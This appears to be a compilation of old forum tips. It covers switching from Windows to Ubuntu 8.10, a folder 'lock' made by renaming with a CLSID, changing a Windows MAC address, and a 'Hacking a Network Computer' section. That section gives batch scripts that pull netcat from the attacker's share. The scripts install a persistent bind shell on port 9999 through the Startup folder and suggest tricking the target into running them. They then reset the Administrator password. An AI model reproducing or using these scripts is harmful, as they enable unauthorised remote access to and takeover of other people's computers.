Transfer From Windows to Linux

• Ubuntu 8.10 has stunned me with many ways. Even if it may seem the same at first look for someone who’ve used Ubuntu 8.04, I saw tremendous progress. The impression currently have, about Linux, is going to be changed forever. Intrepid Ibex shows epic compatibility with the various system setups that I tried it with. And, looking back to some 5 years, Linux has improved a lot in being user-friendly and visually appealing. So, for those of you who’ve been working with Windows from birth, this is the time to hop in. The Ubuntu band-wagon is growing. We all know what Vista was like. It was horrible and all it did was successful leech the hardware resources. Ubuntu is the way to go for the future.
  I believe this is the day of conversion. Linux is ready for you. So, come with me on a ride to the brighter side of computing. So, enough with the stories right ? Here we go. P.S: Most of these stuff are Ubuntu-specific.
  Configuring Software Installer I usually hear people say - "Software supports is low for Linux. There’s barely any". Thats plain wrong. Linux supports almost the same amount of software Windows does. Maybe not more than it. But, there are a lot of softwares, both open source and closed source, which are being supported by Linux. Ubuntu simplifies the software installation in linux through the Synaptic Package Manager.
• You can find it at System -> Administration -> Synaptic Package Manager.

Or,

You can use the Add/Remove at Applications -> Add/Remove. Both basically work the same way but Synaptic Package Manager gives you more control. But, to get the best apps from the Linux ecosystem, you need to enable some additional repositories. Here’s how you do it :
Go to System -> Administration -> Software Sources
In the "Ubuntu Softwares" tab, check every checkbox (it won’t do any harm).
Ensure that all checkboxes are checked in the "Third-Party Software" tab.
If you’re interested in online updates, go to the "Updates" tab and check "gutsy-security" and "gutsy-updates".
After doing the above stuff, press close and in the window which pops up, press Reload and wait for a while.
Now, Ubuntu will list a lot more software in its software manager. Getting The Right Apps There are some essential apps you can’t live without. Since I work the Release Candidate, I don’t know how much our software composition are similar.

Go to Applications -> Add/Remove for a newbie-friendly and visually appealing installation experience

or

go to System -> Administration -> Synaptic Package Manager for more control. But, install these if you don’t already have it :
VLC Media Player : Absolutely necessary. It even plays .wmv and .flv.
GnomeBaker : Works better than Brasero in CD/DVD burning.
Azureus/Deluge : For torrent downloads.
Macromedia Flash Plugin : Works on Mozilla and Gecko-based browsers.
GStreamer ffmpeg video plugin : Lot of extra plugins.
Real Player : To play Real media files.
Comix : If you’re like me and read a lot of digital grapical novels
Using Aptitude Installer You can use the command-line to install software too. Softwares can be GUI or CLI. But there are a lot of good CLI softwares out there that you might want to check out. (Eg: Mencoder, ffmpeg etc). Its as easy as typing - sudo apt-get install . It’ll ask you for your root password. Give it and you’re done.
Run Windows Softwares on Linux with Wine Before anything, Wine Is Not an Emulator. Not I’m joking. Thats what WINE stands for. Think of Wine as a compatibility layer for running Windows programs. And it does not need Microsoft Windows. Wine can open any .exe or similar Windows files. Select a .exe, right-click and enter properties. In the "Open With" tab, select Wine Windows Emulator (ironic though since they say its not a emulator) click +Add and take it from the options. You can run apps such as uTorrent, Winamp etc very smoothly. Some games run well too. Good luck experimenting with it. Summing Up.. Hope that pretty much took care of the basic stuff you need to do to have a good time with Ubuntu. Linux is ready for the desktop. It supports most of the formats and the softwares are growing too. Maybe one day, big companies may start developing games for Linux and I’m sure that would be the end for Windows cuz I’m believe that’s the reason why most of us still use a Windows. So, I wish you all a smooth ride.

Locking Folders

Locking Folders:
Consider you want to lock a folder named XXXX in your E:\, whose path is E:\XXXX.
Now open the Notepad and type the following
[code]ren xxxx xxxx.{21EC2020-3AEA-1069-A2DD-08002B30309D}[/code]
Where xxxx is your folder name. Save the text file as loc.bat in the same drive.
Open another new notepad text file and type the following
[code]ren xxxx.{21EC2020-3AEA-1069-A2DD-08002B30309D} xxxx[/code]
Save the text file as key.bat in the same drive.
Steps to lock the folder:
To lock the xxxx folder, simply click the loc.bat and it will transform into control panel icon which is inaccessible.
To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible.

Hacking a Network Computer

Make a batch file as follows:
@echo off
cd\
xcopy \\yourIP\shared folder\netcat.exe
copy \\yourIP\shared folder\netcat.exe (just to be sure)
cd "Documents and Settings"
cd "All Users"
cd "Start Menu"
cd Programscd Startup
xcopy \\yourIP\shared folder\Startup.bat (This is another batch file you will write)cd\netcat.exe -L -p 9999 -d -e cmd.exe
Save the file as a batch file using Notepad
The next batch file will be used to make sure the port you specified opens up every time windows starts up, you can specify any port you wish. Open Notepad and type:
Code:
@echo off
cd\netcat.exe -L -p 9999 -d -e cmd.exe
Save the file as a batch file using Notepad, this will be the file that is copied into the startup folder in the previous batch file we wrote. You can bind the batch file to another file and share that file, let the target execute that file so that he can copy netcat and the other batch file onto his/hers computer thus opening port 9999, after port 9999 has been opened you can then use telnet and telnet to that port on the target computer to have full access without ever needing any passwords of any sort. After you are in change the Administrator password for if something happens to your files, the command is this:net user Administrator newpasswordNow from here you can do what you want, e.g try shutting down the target computer by browsing to his system32 folder and then type in:shutdown -r -t 10 -c "Hello"the computer will then restart in 10 seconds time.

Change your MAC address in Windows

This is depending on the type of Network Interface Card (NIC) you have. If you have a card that doesn’t support Clone MAC address, then you have to go to second method.
Go to Start->Settings->Control Panel and double click on Network and Dial-up Connections.
Right click on the NIC you want to change the MAC address and click on properties.
Under “General” tab, click on the “Configure” button
Click on “Advanced” tab
Under “Property section”, you should see an item called “Network Address” or "Locally Administered Address", click on it.
On the right side, under “Value”, type in the New MAC address you want to assign to your NIC. Usually this value is entered without the “-“ between the MAC address numbers.
Goto command prompt and type in “ipconfig /all” or “net config rdr” to verify the changes. If the changes are not materialized, then use the second method.
If successful, reboot your systems.